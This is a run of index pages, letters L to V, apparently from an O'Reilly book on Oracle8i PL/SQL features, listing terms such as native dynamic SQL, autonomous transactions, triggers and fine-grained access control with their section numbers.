Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: L

Linux operating system : 1.1. What's in Oracle8i Release 8.1?
LIST_CONTEXT function : 8.4. SYS_CONTEXT and LIST_CONTEXT: Obtaining Context Information
LIST_CONTEXT procedure, DBMS_SESSION package
8.1. FGAC Components
8.4.2. LIST_CONTEXT: Obtaining the List of Defined Context Attributes
LISTEN procedure, DBMS_AQ package
7.6.4. Improved Publish/Subscribe Support
7.6.4.2. LISTEN: Listening for messages
loaded java elements, examining : 9.6.2. Examining Loaded Java Elements
loadjava utility
9.1. Oracle8i and Java
9.4. Using loadjava
LOADLOBS package, loadjava utility : 9.4. Using loadjava
lob_loc, CREATETEMPORARY procedure : 7.5.2.1. CREATETEMPORARY: Creating a temporary LOB
LOBs (large objects)
4.2.1. The EXECUTE IMMEDIATE Statement
7.5. LOB Enhancements
LOCK TABLE transaction control statement : 3.2.2. Some Rules and Restrictions
locks : 2.1. Transaction Management in PL/SQL
logging errors example : 2.5.1. Building an Autonomous Logging Mechanism
logging mechanisms
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!)
2.3. When to Use Autonomous Transactions
LOGIN_USER attribute, database-level event : 6.2. Database-Level Event Triggers
logins, tracking database : 6.2.1.2. Tracking logins to the database
LOGOFF events
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
6. New Trigger Features in Oracle8i
6.2. Database-Level Event Triggers
LOGON events
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
6. New Trigger Features in Oracle8i
6.2. Database-Level Event Triggers
6.2.1.2. Tracking logins to the database
LONG datatype, converting to a LOB : 7.5.1. The TO_LOB Function
LONG RAW datatype, converting to a LOB : 7.5.1. The TO_LOB Function
LONGNAME function, DBMS_JAVA package
9.7. Using DBMS_JAVA and DBMS_JAVA_TEST
9.7.1. LONGNAME: Converting Java Long Names
lower_bound variable : 5.2. Bulk DML with the FORALL Statement

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: M

main transactions : 1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!)
MANAGE_ANY option, GRANT_SYSTEM_PRIVILEGE procedure : 7.6.2.1. GRANT_SYSTEM_PRIVILEGE: Granting system-level privileges
managing temporary LOBs : 7.5.2.5. Managing temporary LOBs
memory, bulk collection : 5.3.1. Restricting Bulk Collection with ROWNUM
Method 4 dynamic SQL : 4.1. DBMS_SQL Versus NDS
Microsoft Transact-SQL : 1.2. And Then There's Java
Microsoft Windows NT
7.1.2. Installing DBMS_PROFILER
7.2.4. Format of Collected Data
7.2.1. Installing DBMS_TRACE
MIGRATE_QUEUE_TABLE procedure, DBMS_AQADM package : 7.6.1. CREATE_QUEUE_TABLE and MIGRATE_QUEUE_TABLE: Setting Version Compatibility and Queue Migration
minimizing trace output : 7.2.3. Controlling Trace File Contents
MTS (multithreaded server) : 7.2.2. DBMS_TRACE Programs
multirow queries with cursor variables, native dynamic SQL : 4.3. Multirow Queries with Cursor Variables

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: N

NAME_IN program, Oracle Developer's FormsBuilder : 4.6.3. Dynamic PL/SQL
NAMESPACE column,*_CONTEXT data dictionary views : 8.4.3. Context Data Dictionary Views
namespace parameter
CREATE CONTEXT statment : 8.2. CREATE CONTEXT: Creating Contexts
SET_CONTEXT procedure : 8.3. SET_CONTEXT: Setting Context and Attribute Values
NCLOB : (see NLS character large object)
NDS (native dynamic SQL)
1.3.3. Native Dynamic SQL (Chapter 4, Native Dynamic SQL in Oracle8i)
4. Native Dynamic SQL in Oracle8i
4.5. Working with Objects and Collections
argument modes, binding : 4.4.3. Argument Modes
binding limitations : 4.4.2. Limitations on Binding
binding versus concatenation : 4.4.1. Binding Versus Concatenation
DBMS_SQL, compared to : 4.1. DBMS_SQL Versus NDS
duplicate placeholders : 4.4.4. Duplicate Placeholders
dynamic PL/SQL : 4.6.3. Dynamic PL/SQL
error handling : 4.6.2. Error Handling
exclusive capabilities : 4.1. DBMS_SQL Versus NDS
EXECUTE IMMEDIATE statement : 4.2. NDS Statement Summary
FETCH statement : 4.3.1. FETCH into Variables or Records
generic GROUP BY package : 4.3.4. Generic GROUP BY Package
generic GROUP BY procedure : 4.3.3. Generic GROUP BY Procedure
multirow queries with cursor variables : 4.3. Multirow Queries with Cursor Variables
OPEN FOR statement : 4.2.2. The OPEN FOR Statement
sharing NDS programs with invoker rights : 4.6.1. Sharing NDS Programs with Invoker Rights
USING clause (OPEN FOR statement) : 4.3.2. The USING Clause in OPEN FOR
utility package : 4.7. NDS Utility Package
ndsutil.pkg file : 4.7. NDS Utility Package
nesting
blocks : 4.6.3. Dynamic PL/SQL
table columns, triggers on
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
6. New Trigger Features in Oracle8i
table view columns : 6.1. Triggers on Nested Table View Columns
tables
4.1. DBMS_SQL Versus NDS
5. Bulking Up with PL/SQL 8.1
nesttrig.sql file : 6.1. Triggers on Nested Table View Columns
NLS character large object : 7.5.1. The TO_LOB Function
NLS_CALENDAR attribute, SYS_CONTEXT function : 8.4.1. The SYS_CONTEXT Function
NLS_CURRENCY attribute, SYS_CONTEXT function : 8.4.1. The SYS_CONTEXT Function
NLS_DATE_FORMAT attribute, SYS_CONTEXT function : 8.4.1. The SYS_CONTEXT Function
NLS_DATE_LANGUAGE attribute, SYS_CONTEXT function : 8.4.1. The SYS_CONTEXT Function
NLS_SORT attribute, SYS_CONTEXT function : 8.4.1. The SYS_CONTEXT Function
NLS_TERRITORY attribute, SYS_CONTEXT function : 8.4.1. The SYS_CONTEXT Function
NO_DATA_FOUND error : 5.4. Using Cursor Attributes
NOCOPY parameter mode hint
1.3.9. Miscellaneous New Features and Performance Improvements (Chapter 10, More Goodies for Oracle8i PL/SQL Developers)
7.5.2.5. Managing temporary LOBs
impact : 10.1.2. Impact of NOCOPY Use
overview : 10. More Goodies for Oracle8i PL/SQL Developers
parameter aliasing : 10.1.3. Parameter Aliasing
performance gains : 10.1.4. Performance Gains with NOCOPY
restrictions : 10.1.1. Restrictions on NOCOPY
non-bulk FOR loop : 5.3.3. Using the RETURNING Clause with Bulk Operations
notification capabilities : 7.6.4. Improved Publish/Subscribe Support
NULL predicates : 7.3.4. ADD_POLICY: Adding a Policy

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: O

Object Request Broker (ORB)
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL)
9.1. Oracle8i and Java
object views : 6.1. Triggers on Nested Table View Columns
OBJECT_NAME column, *_POLICIES data dictionary views : 8.4.3. Context Data Dictionary Views
object_name parameter, ADD_POLICY procedure : 7.3.4. ADD_POLICY: Adding a Policy
OBJECT_OWNER column, *_POLICIES data dictionary views : 8.4.3. Context Data Dictionary Views
object_schema parameter, ADD_POLICY procedure : 7.3.4. ADD_POLICY: Adding a Policy
objects and collections, native dynamic SQL : 4.5. Working with Objects and Collections
OCI : (see Oracle Call Interface)
online analytical processing (OLAP) : 7. New and Enhanced Built-in Packages in Oracle8i
onlyfair.sql file : 5.3.3. Using the RETURNING Clause with Bulk Operations
OPEN cursor control statement : 3.2.2. Some Rules and Restrictions
OPEN FOR statement, native dynamic SQL
4.2.2. The OPEN FOR Statement
4.6.2. Error Handling
OPEN-FOR statement, native dynamic SQL : 3.2.2. Some Rules and Restrictions
openFor program, ndsutil.pkg file : 4.7. NDS Utility Package
ORA-01652 error messages : 6.2.1.4. Checking for specific errors
ORA-06502 error messages : 10.5.2. Improved ORA-06502 Error Messages
Oracle Call Interface (OCI)
7.5.2. DBMS_LOB: Working with Temporary LOBs
7.6.4. Improved Publish/Subscribe Support
Oracle Forms applications : 1.3.7. Fine-Grained Access Control (Chapter 8, Deploying Fine-Grained Access Control)
Oracle privileges, setting : 9.2.3. Setting Oracle Privileges
oracle.sql.STRUCT class : 9.9.2. Passing Objects to Java
Oracle8i
autonomous transactions : 1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!)
built-in packages : 1.3.6. New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i)
bulk binds and collects : 1.3.4. Bulk Binds and Collects (Chapter 5, Bulking Up with PL/SQL 8.1)
features : 1.1. What's in Oracle8i Release 8.1?
fine-grained access control (FGAC) : 1.3.7. Fine-Grained Access Control (Chapter 8, Deploying Fine-Grained Access Control)
invoker rights : 1.3.2. Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? )
Java
1.2. And Then There's Java
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL)
native dynamic SQL : 1.3.3. Native Dynamic SQL (Chapter 4, Native Dynamic SQL in Oracle8i)
performance improvments : 1.3.9. Miscellaneous New Features and Performance Improvements (Chapter 10, More Goodies for Oracle8i PL/SQL Developers)
triggers : 1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
ORB (Object Request Broker)
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL)
9.1. Oracle8i and Java
OUT mode, bind argument : 4.4.3. Argument Modes
OUTLN_PKG package : 7. New and Enhanced Built-in Packages in Oracle8i

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: P

PACKAGE column
*_CONTEXT data dictionary views : 8.4.3. Context Data Dictionary Views
*_POLICIES data dictionary views : 8.4.3. Context Data Dictionary Views
PARALLEL_ENABLE keyword
1.3.9. Miscellaneous New Features and Performance Improvements (Chapter 10, More Goodies for Oracle8i PL/SQL Developers)
10.2.2.3. PARALLEL_ENABLE functions
PARSE procedure, DBMS_SQL package : 3.2.2. Some Rules and Restrictions
persistent LOBs : 7.5.2. DBMS_LOB: Working with Temporary LOBs
PF_OWNER column, *_POLICIES data dictionary views : 8.4.3. Context Data Dictionary Views
pinning packages on database startup : 6.2.1.1. Pinning packages on database startup
pipes : 6.2.1.3. Trapping system errors
PL/SQL 8.1
BULK COLLECT clause : 5.3. Bulk Querying with the BULK COLLECT Clause
bulk operations, impact of : 5.5. Analyzing the Impact of Bulk Operations
context-switching problem scenarios : 5.1. Context-Switching Problem Scenarios
cursor attributes : 5.4. Using Cursor Attributes
FORALL statement : 5.2. Bulk DML with the FORALL Statement
introduction : 5. Bulking Up with PL/SQL 8.1
Java and
1.2. And Then There's Java
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL)
trace versus PL/SQL profiler : 7.2. DBMS_TRACE: Providing a PL/SQL Trace Facility
wrappers, building : 9.3.4. Building a PL/SQL Wrapper
pl/sql_statement, trigger syntax : 6.3. Schema-Level Event Triggers
plsql_package parameter, CREAT _CONTEXT statement : 8.2. CREATE CONTEXT: Creating Contexts
plsql_profiler_data table : 7.1.2. Installing DBMS_PROFILER
plsql_profiler_runs table : 7.1.2. Installing DBMS_PROFILER
plsql_profiler_units table : 7.1.2. Installing DBMS_PROFILER
PLSQL_TRACE_VERSION procedure, DBMS_TRACE package : 7.2.2. DBMS_TRACE Programs
policy_function parameter, ADD_POLICY procedure : 7.3.4. ADD_POLICY: Adding a Policy
POLICY_NAME column, *_POLICIES data dictionary views : 8.4.3. Context Data Dictionary Views
policy_name parameter, ADD_POLICY procedure : 7.3.4. ADD_POLICY: Adding a Policy
PRAGMA declaration
2.4. Rules and Restrictions
2.2. Defining Autonomous Transactions
pragmas
2.2. Defining Autonomous Transactions
2.4. Rules and Restrictions
primary_instance parameter, CREATE_QUEUE_TABLE procedure : 7.6.1. CREATE_QUEUE_TABLE and MIGRATE_QUEUE_TABLE: Setting Version Compatibility and Queue Migration
privilege parameter, GRANT_SYSTEM_PRIVILEGE procedure : 7.6.2.1. GRANT_SYSTEM_PRIVILEGE: Granting system-level privileges
privileges, system-level : 7.6.2. System-Level Access Control
profdel.sql file : 7.1.4. Profiler Return Codes
profiler return codes : 7.1.4. Profiler Return Codes
profilers : 7.1. DBMS_PROFILER: Providing Code Profiling
profload.sql file : 7.1.2. Installing DBMS_PROFILER
profrep.sql file : 7.1.2. Installing DBMS_PROFILER
profsum.sql file : 7.1.2. Installing DBMS_PROFILER
proftab.sql file : 7.1.2. Installing DBMS_PROFILER
proftrunc.sql file : 7.1.4. Profiler Return Codes
prvtpbp.plb file : 7.1.2. Installing DBMS_PROFILER
PUBLIC : 4.6.1. Sharing NDS Programs with Invoker Rights
public synonyms : 7.1.2. Installing DBMS_PROFILER
PUT_LINE procedure, DBMS_OUTPUT package
6.2. Database-Level Event Triggers
9.3.3. Compiling and Loading into Oracle

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: Q

queue migration, setting
7.6.1. CREATE_QUEUE_TABLE and MIGRATE_QUEUE_TABLE: Setting Version Compatibility and Queue Migration
7.6. New DBMS_AQ and DBMS_AQADM Features

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: R

RDBMS : (see relational database management system)
READ COMMITTED isolation level : 2.4.2. Transaction Visibility
reads no database state (RNDS) purity level : 2.4.1. Using Autonomous Transactions from Within SQL
reads no package state (RNPS) purity level : 7.4. UTL_COLL: Using Collection Locators
record, EXECUTE IMMEDIATE statement : 4.2.1. The EXECUTE IMMEDIATE Statement
REFRESH_POLICY procedure, DBMS_RLS package
7.3.2. DBMS_RLS Programs
7.3.7. REFRESH_POLICY: Refreshing a Policy
REFs, native dynamic SQL : 4.2.1. The EXECUTE IMMEDIATE Statement
relational database management system (RDBMS) : 1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL)
remote procedure calls : 7.2.3. Controlling Trace File Contents
RESET_COMPILER_OPTION procedure, DBMS_JAVA package : 9.7. Using DBMS_JAVA and DBMS_JAVA_TEST
RESTRICT_REFERENCES pragma : 10.2.1. RESTRICT_REFERENCES Pragma
retry counters
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!)
2.3. When to Use Autonomous Transactions
RETURNING clause
4.1. DBMS_SQL Versus NDS
4.4.3. Argument Modes
RETURNING INTO clause : 5.3. Bulk Querying with the BULK COLLECT Clause
reusable application components
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!)
2.3. When to Use Autonomous Transactions
reusing dynamic SQL cursors : 4.1. DBMS_SQL Versus NDS
REVOKE statement : 7.6.2. System-Level Access Control
REVOKE_QUEUE_PRIVILEGE procedure, DBMS_AQADM package : 7.6.3.2. REVOKE_QUEUE_PRIVILEGE: Revoking queue-level privileges
REVOKE_SYSTEM_PRIVILEGE procedure, DBMS_AQADM package : 7.6.2.2. REVOKE_SYSTEM_PRIVILEGE: Revoking system-level privileges
RNDS (reads no database state) : 2.4.1. Using Autonomous Transactions from Within SQL
RNPS (reads no package state) : 7.4. UTL_COLL: Using Collection Locators
roles : 1.3.2. Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? )
ROLLBACK statement : 2.5.2. Using Autonomous Transactions in a Database Trigger
rollbacks
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!)
2.3. When to Use Autonomous Transactions
row-by-row fetching : 5.5. Analyzing the Impact of Bulk Operations
row-level security (RLS)
1.3.7. Fine-Grained Access Control (Chapter 8, Deploying Fine-Grained Access Control)
7.3.2. DBMS_RLS Programs
ROWID : 4.5. Working with Objects and Collections
ROWNUM : 5.3.1. Restricting Bulk Collection with ROWNUM
rule-based subscribers : 7.6.4. Improved Publish/Subscribe Support
rules
FORALL statement : 5.2. Bulk DML with the FORALL Statement
Java wrappers : 9.8.2. Some Rules for Java Wrappers
triggers : 6.2. Database-Level Event Triggers
runddl engine : 1.3.2. Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? )

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: S

savepoints : 2.4. Rules and Restrictions
scalar values : 5.3. Bulk Querying with the BULK COLLECT Clause
SCHEMA column,*_CONTEXT data dictionary views : 8.4.3. Context Data Dictionary Views
schema parameter, CREATE CONTEXT statement : 8.2. CREATE CONTEXT: Creating Contexts
schema-level event triggers
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
6.2.1.3. Trapping system errors
6.3. Schema-Level Event Triggers
schema_name, trigger syntax : 6.3. Schema-Level Event Triggers
scope of variables in dynamic SQL : 4.6.3. Dynamic PL/SQL
secondary_instance parameter, CREATE_QUEUE_TABLE procedure : 7.6.1. CREATE_QUEUE_TABLE and MIGRATE_QUEUE_TABLE: Setting Version Compatibility and Queue Migration
security
7.3.1. Installing DBMS_RLS
7.6.1. CREATE_QUEUE_TABLE and MIGRATE_QUEUE_TABLE: Setting Version Compatibility and Queue Migration
SEL column, *_POLICIES data dictionary views : 8.4.3. Context Data Dictionary Views
SELECT INTO clause : 5.3. Bulk Querying with the BULK COLLECT Clause
SELECT statement : 3.2.2. Some Rules and Restrictions
SELECT...BULK COLLECT statement : 5.3. Bulk Querying with the BULK COLLECT Clause
SERIALIZABLE isolation level : 2.4.2. Transaction Visibility
SERVER_ERROR attribute, database-level event : 6.2. Database-Level Event Triggers
SERVERERROR events
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
6. New Trigger Features in Oracle8i
6.2. Database-Level Event Triggers
SESSION_USER attribute, SYS_CONTEXT function : 8.4.1. The SYS_CONTEXT Function
SESSION_USERID attribute, SYS_CONTEXT function : 8.4.1. The SYS_CONTEXT Function
SET clause : 6.1. Triggers on Nested Table View Columns
SET TRANSACTION statement : 2.4.2. Transaction Visibility
SET_COMPILER procedure, DBMS_JAVA package : 9.7.2. GET_, SET_, and RESET_COMPILER OPTIONS: Getting and Setting Compiler Options
SET_COMPILER_OPTION procedure, DBMS_JAVA package : 9.7. Using DBMS_JAVA and DBMS_JAVA_TEST
SET_CONTEXT procedure : 8.3. SET_CONTEXT: Setting Context and Attribute Values
SET_CONTEXT procedure, DBMS_SESSION package : 8.1. FGAC Components
SET_OUTPUT procedure, DBMS_JAVA package
9.7. Using DBMS_JAVA and DBMS_JAVA_TEST
9.7.3. SET_OUTPUT: Enabling Output from Java
SET_PLSQL_TRACE procedure, DBMS_TRACE package : 7.2.2. DBMS_TRACE Programs
SGA (System Global Area) : 4.4.1. Binding Versus Concatenation
showattr.sql file : 5.4. Using Cursor Attributes
showCol program, ndsutil.pkg file : 4.7. NDS Utility Package
SHUTDOWN events
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
6. New Trigger Features in Oracle8i
6.2. Database-Level Event Triggers
software usage meter
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!)
2.3. When to Use Autonomous Transactions
space, temporary LOBs : 7.5.2. DBMS_LOB: Working with Temporary LOBs
SQL%BULK_ROWCOUNT cursor attribute
5.2.2. ROLLBACK Behavior with FORALL
5.4. Using Cursor Attributes
SQL*Plus
1.3.7. Fine-Grained Access Control (Chapter 8, Deploying Fine-Grained Access Control)
3.1.1. The Advantages of Definer Rights
SQL99 compliance
1.3.9. Miscellaneous New Features and Performance Improvements (Chapter 10, More Goodies for Oracle8i PL/SQL Developers)
10.3. SQL99 Compliance
sql_statement, FORALL statement : 5.2. Bulk DML with the FORALL Statement
SQL_string, EXECUTE IMMEDIATE statment : 4.2.1. The EXECUTE IMMEDIATE Statement
SQL_string, OPEN FOR statement : 4.2.2. The OPEN FOR Statement
SQLCODE function : 6.2.1.3. Trapping system errors
SQLJ : 1.1. What's in Oracle8i Release 8.1?
START_PROFILER function, DBMS_PROFILER package : 7.1.1. DBMS_PROFILER Programs
STARTUP events
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
6. New Trigger Features in Oracle8i
6.2. Database-Level Event Triggers
statement_types parameter, ADD_POLICY procedure : 7.3.4. ADD_POLICY: Adding a Policy
STOP_PROFILER function, DBMS_PROFILER package : 7.1.1. DBMS_PROFILER Programs
subprograms, passing parameters to : 5.4. Using Cursor Attributes
SUCCESS return code, DBMS_PROFILER package : 7.1.4. Profiler Return Codes
Sybase Transact-SQL : 1.2. And Then There's Java
SYS schema : 7.3.1. Installing DBMS_RLS
SYS_CONTEXT function
8.1. FGAC Components
8.4. SYS_CONTEXT and LIST_CONTEXT: Obtaining Context Information
SYSEVENT attribute, database-level event
6.2. Database-Level Event Triggers
6.3. Schema-Level Event Triggers
system errors, trapping : 6.2.1.3. Trapping system errors
System Global Area (SGA) : 4.4.1. Binding Versus Concatenation
system level access control : 7.6.2. System-Level Access Control
system memory, bulk collection : 5.3.1. Restricting Bulk Collection with ROWNUM
system-level events : 6.2. Database-Level Event Triggers

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: T

tabCount program, ndsutil.pkg file : 4.7. NDS Utility Package
TABLE CAST operators : 7.4. UTL_COLL: Using Collection Locators
table privileges : 1.3.2. Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? )
TABLE...SELECT combination : 6.1. Triggers on Nested Table View Columns
temporary LOBs : 7.5.2. DBMS_LOB: Working with Temporary LOBs
timing information, PL/SQL profiler : 7.2. DBMS_TRACE: Providing a PL/SQL Trace Facility
TO_LOB function : 7. New and Enhanced Built-in Packages in Oracle8i
tracking database logins : 6.2.1.2. Tracking logins to the database
Transact-SQL : 1.2. And Then There's Java
TRANSACTIONS parameter : 2.4. Rules and Restrictions
trapping system errors : 6.2.1.3. Trapping system errors
trigger_name, trigger syntax : 6.3. Schema-Level Event Triggers
triggers
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
6. New Trigger Features in Oracle8i
checking for specific errors : 6.2.1.4. Checking for specific errors
creating : 6.2.1.3. Trapping system errors
database-level event triggers : 6.2. Database-Level Event Triggers
nested table view columns : 6.1. Triggers on Nested Table View Columns
overview : 6. New Trigger Features in Oracle8i
pinning packages on database startup : 6.2.1.1. Pinning packages on database startup
rollbacks in : 1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!)
tracking database logins : 6.2.1.2. Tracking logins to the database
trapping system errors : 6.2.1.3. Trapping system errors
TRIM FUNCTION : 10.3.1. The TRIM Function
TRUST option : 10.2.2.1. The TRUST option

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: U

unmodifiable views : 6.1. Triggers on Nested Table View Columns
UPD column, *_POLICIES data dictionary views : 8.4.3. Context Data Dictionary Views
UPDATE statement : 3.2.2. Some Rules and Restrictions
update_check parameter, ADD_POLICY procedure : 7.3.4. ADD_POLICY: Adding a Policy
upper_bound, FORALL statement : 5.2. Bulk DML with the FORALL Statement
user-defined exception : 7.2.4. Format of Collected Data
user-defined objects : 4.1. DBMS_SQL Versus NDS
user-level events : 6.3. Schema-Level Event Triggers
USER_ERRORS data dictionary view : 9.6.2. Examining Loaded Java Elements
USER_OBJECTS data dictionary view : 9.6.2. Examining Loaded Java Elements
USER_POLICIES data dictionary view : 8.4.3. Context Data Dictionary Views
USER_SOURCE data dictionary view : 9.6.2. Examining Loaded Java Elements
USING clause
4.2.2. The OPEN FOR Statement
4.2.1. The EXECUTE IMMEDIATE Statement
4.3.2. The USING Clause in OPEN FOR
utility package, NDS : 4.7. NDS Utility Package
UTL_FILE package : 9.9.1. Extending File I/O Capabilities

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: V

V$TEMPORARY_LOBS view : 7.5.2.5. Managing temporary LOBs
value parameter, SET_CONTEXT procedure : 8.3. SET_CONTEXT: Setting Context and Attribute Values
variable arrays
4.1. DBMS_SQL Versus NDS
5.1. Context-Switching Problem Scenarios
VARRAY : 5.1. Context-Switching Problem Scenarios
version compatibility, setting : 7.6.1. CREATE_QUEUE_TABLE and MIGRATE_QUEUE_TABLE: Setting Version Compatibility and Queue Migration
views
context data dictionary views : 8.4.3. Context Data Dictionary Views
nested table view columns : 6. New Trigger Features in Oracle8i

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

